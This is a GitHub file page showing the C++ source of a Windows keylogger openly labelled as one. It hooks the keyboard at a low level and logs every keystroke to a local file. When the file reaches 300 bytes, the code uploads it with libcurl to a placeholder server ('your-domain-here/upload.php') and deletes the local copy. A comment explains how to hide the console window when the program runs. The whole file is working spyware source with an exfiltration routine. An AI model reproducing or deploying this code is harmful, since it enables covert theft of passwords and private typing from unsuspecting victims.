-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathkeylogger.cpp
More file actions
141 lines (120 loc) · 4.34 KB
/
Copy pathkeylogger.cpp
File metadata and controls
141 lines (120 loc) · 4.34 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
// Simple Hand-made keylogger
// Created by: omar_Dans
#include <Windows.h>
#pragma comment(lib, "user32.lib")
#include <stdio.h>
#include <curl.h>
#include <sys/stat.h>
int MAXIMUM_SIZE = 300;
int subirArchivo(void){
CURL *curl;
CURLcode res;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if (curl) {
const char* url = "http://your-domain-here/upload.php"; // This is the url were the logs are going to be uploaded, im using "upload.php" for managing the requests with curl.
const char* filePath = "/path/to/file"; // path to the file
struct curl_httppost *post = NULL;
struct curl_httppost *last = NULL;
curl_formadd(&post, &last, CURLFORM_COPYNAME, "archivo", CURLFORM_FILE, filePath, CURLFORM_END);
curl_easy_setopt(curl, CURLOPT_URL, url);
curl_easy_setopt(curl, CURLOPT_HTTPPOST, post);
// sending the request
printf("*** SENDINF FILE ***\n");
res = curl_easy_perform(curl);
// cleaning
curl_easy_cleanup(curl);
curl_formfree(post);
if (res != CURLE_OK) {
fprintf(stderr, "Error al enviar la solicitud: %s\n", curl_easy_strerror(res));
}
}
remove("archivo.txt");
curl_global_cleanup();
return 0;
}
// function for processing especial keys vkcodes
char * translateSpecialKey(DWORD vkcode){
SHORT shiftState = GetAsyncKeyState(0xa0);
char * realKey = NULL;
switch (vkcode) {
case (0xa0):
realKey = "[SHIFT]";
break;
case (0xa2):
realKey = "[CTRL]";
break;
case (VK_CAPITAL):
realKey = "[CAPS]";
break;
case (VK_BACK):
realKey = "[BACKSPACE]";
break;
case (0xa4):
realKey = "[ALT]";
break;
case (VK_RMENU):
realKey = "[ALTGR]";
break;
case (0xc0):
realKey = "ñ";
break;
default:
if ((vkcode >= 'A' && vkcode <= 'Z') && !(shiftState & 0x8000)) {
// Si es una letra y Shift no está presionado, convierte a minúscula
vkcode += 'a' - 'A';
}
if ((vkcode >= 'A' && vkcode <= 'Z') && (shiftState & 0x8000)) {
// Si es una letra y Shift está presionado, convierte a mayúscula
vkcode -= 'a' - 'A';
vkcode += 0x20;
}
char buffer[2] = { (char)vkcode, '\0' };
realKey = strdup(buffer);
break;
}
return realKey;
}
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
char * specialK;
if (nCode >= 0) {
if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
KBDLLHOOKSTRUCT* pKbStruct = (KBDLLHOOKSTRUCT*)lParam;
specialK = translateSpecialKey(pKbStruct->vkCode);
if (specialK != NULL){
FILE *file;
file = fopen("archivo.txt", "a");
if(file != NULL){
fprintf(file, "%s",specialK);
fclose(file);
struct stat buf;
int rc = stat("archivo.txt", &buf);
if (rc == 0) {
if (buf.st_size >= MAXIMUM_SIZE) {
subirArchivo();
}
}
}
} else {
FILE *file;
file = fopen("archivo.txt", "a");
if(file != NULL){
fprintf(file, "0x%x",pKbStruct->vkCode);
fclose(file);
}
}
}
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
// int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) -> this line is for creating a WINDOWS program, this is useful for not showing cmd popup when launching the program
int main(void){
HHOOK hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, GetModuleHandle(NULL), 0);
MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
UnhookWindowsHookEx(hHook);
return 0;
}